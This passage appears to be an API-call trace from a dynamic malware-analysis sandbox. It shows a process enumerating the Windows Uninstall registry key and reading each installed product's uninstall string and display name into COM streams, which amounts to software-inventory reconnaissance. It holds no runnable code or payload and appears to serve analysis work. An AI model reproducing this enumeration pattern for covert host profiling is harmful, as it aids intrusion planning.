lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.262] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{9BE518E6-ECC6-35A9-88E4-87755C07200F}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}" [0068.262] LocalFree (hMem=0x626e60) returned 0x0 [0068.262] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.262] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.263] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.263] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.263] RegCloseKey (hKey=0x108) returned 0x0 [0068.263] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.263] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.263] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3f) returned 0x0 [0068.263] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x626e60 [0068.263] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3f | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3f) returned 0x0 [0068.263] RegCloseKey (hKey=0x108) returned 0x0 [0068.263] lstrlenA (lpString="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 38 [0068.263] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.263] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3f, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3f) returned 0x0 [0068.263] LocalFree (hMem=0x626e60) returned 0x0 [0068.263] LocalFree (hMem=0x626b70) returned 0x0 [0068.263] LocalFree (hMem=0x626a88) returned 0x0 [0068.263] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x44, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.263] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.263] lstrlenA (lpString="\\") returned 1 [0068.263] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.263] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.263] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.263] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.263] lstrlenA (lpString="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 38 [0068.263] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.263] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.263] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" [0068.263] LocalFree (hMem=0x626e60) returned 0x0 [0068.263] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.263] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.263] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.263] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.263] RegCloseKey (hKey=0x108) returned 0x0 [0068.263] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.263] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.263] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x13) returned 0x0 [0068.263] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x624f80 [0068.263] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x624f80, lpcbData=0x12ef0c*=0x13 | out: lpType=0x0, lpData=0x624f80*=0x41, lpcbData=0x12ef0c*=0x13) returned 0x0 [0068.264] RegCloseKey (hKey=0x108) returned 0x0 [0068.264] lstrlenA (lpString="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 38 [0068.264] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.264] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x624f80*=0x41, cb=0x13, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x13) returned 0x0 [0068.264] LocalFree (hMem=0x624f80) returned 0x0 [0068.264] LocalFree (hMem=0x626b70) returned 0x0 [0068.264] LocalFree (hMem=0x626a88) returned 0x0 [0068.264] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x45, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.264] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.264] lstrlenA (lpString="\\") returned 1 [0068.264] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.264] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.264] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.264] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.264] lstrlenA (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 38 [0068.264] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.264] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.264] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}" [0068.264] LocalFree (hMem=0x626e60) returned 0x0 [0068.264] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.264] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.264] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.264] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.264] RegCloseKey (hKey=0x108) returned 0x0 [0068.264] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.264] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.264] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3e) returned 0x0 [0068.264] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x626e60 [0068.264] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3e | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3e) returned 0x0 [0068.264] RegCloseKey (hKey=0x108) returned 0x0 [0068.264] lstrlenA (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 38 [0068.264] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.264] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3e, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3e) returned 0x0 [0068.264] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x46, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.265] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.265] lstrlenA (lpString="\\") returned 1 [0068.265] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.265] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.265] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.265] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.265] lstrlenA (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 38 [0068.265] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.265] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.265] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}" [0068.265] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.265] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.265] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.265] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.265] RegCloseKey (hKey=0x108) returned 0x0 [0068.265] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.265] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.265] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3b) returned 0x0 [0068.265] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x626e60 [0068.265] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3b | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3b) returned 0x0 [0068.265] RegCloseKey (hKey=0x108) returned 0x0 [0068.265] lstrlenA (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 38 [0068.265] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.265] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3b) returned 0x0 [0068.265] LocalFree (hMem=0x626e60) returned 0x0 [0068.265] LocalFree (hMem=0x626b70) returned 0x0 [0068.265] LocalFree (hMem=0x626a88) returned 0x0 [0068.265] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x47, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.265] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.265] lstrlenA (lpString="\\") returned 1 [0068.265] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.265] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.265] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.265] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.265] lstrlenA (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0068.265] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.265] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.265] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0068.265] LocalFree (hMem=0x626e60) returned 0x0 [0068.265] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.266] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x63) returned 0x0 [0068.266] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x626b70 [0068.266] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x63 | out: lpType=0x0, lpData=0x626b70*=0x22, lpcbData=0x12ef10*=0x63) returned 0x0 [0068.266] RegCloseKey (hKey=0x108) returned 0x0 [0068.266] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x22, cb=0x63, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x63) returned 0x0 [0068.266] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.266] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3d) returned 0x0 [0068.266] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x626e60 [0068.266] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3d | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3d) returned 0x0 [0068.266] RegCloseKey (hKey=0x108) returned 0x0 [0068.266] lstrlenA (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0068.266] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.266] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3d, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3d) returned 0x0 [0068.266] LocalFree (hMem=0x626e60) returned 0x0 [0068.266] LocalFree (hMem=0x626b70) returned 0x0 [0068.266] LocalFree (hMem=0x626a88) returned 0x0 [0068.266] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x48, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.266] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.266] lstrlenA (lpString="\\") returned 1 [0068.266] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.266] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.266] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.266] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.266] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 38 [0068.266] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.266] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.266] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}" [0068.266] LocalFree (hMem=0x626e60) returned 0x0 [0068.266] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.266] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.266] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.266] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.266] RegCloseKey (hKey=0x108) returned 0x0 [0068.266] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.267] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.267] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3c) returned 0x0 [0068.267] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626e60 [0068.267] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3c | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3c) returned 0x0 [0068.267] RegCloseKey (hKey=0x108) returned 0x0 [0068.267] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 38 [0068.267] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.267] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3c) returned 0x0 [0068.267] LocalFree (hMem=0x626e60) returned 0x0 [0068.267] LocalFree (hMem=0x626b70) returned 0x0 [0068.267] LocalFree (hMem=0x626a88) returned 0x0 [0068.267] RegEnumKeyExA (in: 